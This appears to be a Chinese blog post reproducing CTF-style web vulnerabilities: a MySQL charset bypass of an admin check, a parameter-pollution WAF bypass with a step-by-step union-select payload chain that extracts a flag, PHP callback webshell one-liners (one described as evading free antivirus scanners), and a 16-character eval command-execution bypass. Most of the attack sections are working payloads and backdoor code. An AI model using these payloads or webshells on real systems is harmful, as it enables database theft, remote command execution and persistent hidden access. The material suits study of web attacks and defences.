sql及rce漏洞整理

sql及rce漏洞复现

一,mysql小特性解决大问题

php 复制代码
<?php
$mysqli = new mysqli("localhost", "root", "root", "cat");
​
/* check connection */
if ($mysqli->connect_errno) {
    printf("Connect failed: %s\n", $mysqli->connect_error);
    exit();
}
​
$mysqli->query("set names utf8");
​
$username = addslashes($_GET['username']);
​
​
if ($username === 'admin') {
    die('Permission denied!');
}
​
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
​
if ($result = $mysqli->query( $sql )) {
    printf("Select returned %d rows.\n", $result->num_rows);
​
    while ($row = $result->fetch_array(MYSQLI_ASSOC))
    {
        var_dump($row);
    }
​
    /* free result set */
    $result->close();
} else {
    var_dump($mysqli->error);
}
​
$mysqli->close();
题目简述:

当传入?username=admin时,代码会进入die('Permission denied!');但是需要拿到var_dump($row);我们就必须输入admin,此时该如何解决? 然后,我们访问http://localhost/test.php/?username=admin%c2,即可发现%c2被忽略,Mysql查出了username=admin的结果

漏洞分析:

Mysql在执行查询的时候,就涉及到字符集的转换。

  1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;

  2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集

在我们这个案例中,character_set_client和character_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:

utf8 --> utf8 --> latin1

最后执行比较username='admin'的时候,'admin'是一个latin1字符串

漏洞原因:

Mysql在转换字符集的时候,将不完整的字符给忽略了。

举个简单的例子,佬这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:

php 复制代码
http://127.0.0.1/test.php?username=admin%e4 可以
http://127.0.0.1/test.php?username=admin%e4%bd 可以
http://127.0.0.1/test.php?username=admin%e4%bd%ac 不行

二, 贷齐乐hpp+php特性注入

源码:

php 复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
//   hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d  $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
  // 经过第一个waf处理
  //i_d=1&i.d=aaaaa&submit=1
  foreach ($_REQUEST as $key => $value) {       
      $_REQUEST[$key] = dowith_sql($value);
  }
  // 经过第二个WAF处理
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }
//   $_REQUEST不能有恶意字符
// $_SERVER
  // 业务处理
  //?i_d&i.d=aaaaaaa
  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result = @mysqli_query($conn,$sql);
      while($row = @mysqli_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['username'] . "</td>";
          echo "</tr>";
      }
  }
?>
绕过思路:

源代码进行了两次取值,第一次取值判断是否有非法字符,也就是第二个waf,第二次取值会覆盖第一次(在这里会产生问题),然后进行'&', '"', '<', '>', '(', ')'的过滤。我们通过构造两个i_d,第一个为我们有害数据,让第一次传参取第二个值,第二次传参取第一个值。

?i_d=1&i_d=2 php会默认取第二个,两次取值函数都取第二个无害数据,我们的有害数据没进去。

在php中有一个小特性,会将i.d和i]d转换为i_d,利用这一特性,第一次取值时,*REQUEST\[key] = dowith_sql(value);会将i.d和i\]d转换为i_d,故取第二个值。第二次取值时,*SERVER['REQUEST_URI']会区分i.d和i_d,所以取了第一个有害数据。?i_d=1&i.d=2

payload:
php 复制代码
?submit=bbbb&i_d=-1/**/union/**/select/**/1,2,3&i.d=2  回显数字2
?submit=bbbb&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=2  注入数据库名
?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=2 注入出表名 由于过滤了单引号,我们的ctf库名需要单引号包裹,所以将ctf转为16进制。
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2  注入出列名
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2 注入出flag
三,rce漏洞整理

命令执行函数:system exec shell_exec popen proc_open passthru

代码执行函数:eval asserrt call_user_func call_user_func _array

eval在php不是一个函数,是一个动态执行的方法。所以eval不能通过动态方式传参执行。

1,php回调后门
复制代码
call_user_func('assert', $_REQUEST['pass']);
传值pass=$_POST[123],按理来说,assert可以执行$_POST,但是用动态传递的方式失败,使用蚁剑连接失败,但是在前面加一个eval即可成功,即pass=eval($_POST[123])

eval:eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

复制代码
call_user_func_array('assert', array($_REQUEST['pass']));
复制代码
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
在array_filter这个回调函数里,base64_decode($e)接收回调方法,$arr接收处理数据
传递 e=YxNzZXJ0&pass=phpinfo()
可以绕过免费查杀工具的后门
php 复制代码
<?php
get_meta_tags("http://127.0.0.1/demo.html")["author"](get_meta_tags("http://127.0.0.1/demo.html")["keyswords"]);






<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keyswords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>
复制代码
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?

源码:

php 复制代码
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

绕过方式:

php 复制代码
?param=echo%20`$GET[1]`;&1=id
复制代码
在linux``可以执行命令
相关推荐
闲暇部落2 小时前
‌Kotlin中的?.和!!主要区别
android·开发语言·kotlin
诸神黄昏EX4 小时前
Android 分区相关介绍
android
大白要努力!5 小时前
android 使用SQLiteOpenHelper 如何优化数据库的性能
android·数据库·oracle
Estar.Lee5 小时前
时间操作[取当前北京时间]免费API接口教程
android·网络·后端·网络协议·tcp/ip
Winston Wood5 小时前
Perfetto学习大全
android·性能优化·perfetto
Dnelic-8 小时前
【单元测试】【Android】JUnit 4 和 JUnit 5 的差异记录
android·junit·单元测试·android studio·自学笔记
Eastsea.Chen10 小时前
MTK Android12 user版本MtkLogger
android·framework
长亭外的少年18 小时前
Kotlin 编译失败问题及解决方案:从守护进程到 Gradle 配置
android·开发语言·kotlin
建群新人小猿20 小时前
会员等级经验问题
android·开发语言·前端·javascript·php
1024小神21 小时前
tauri2.0版本开发苹果ios和安卓android应用,环境搭建和最后编译为apk
android·ios·tauri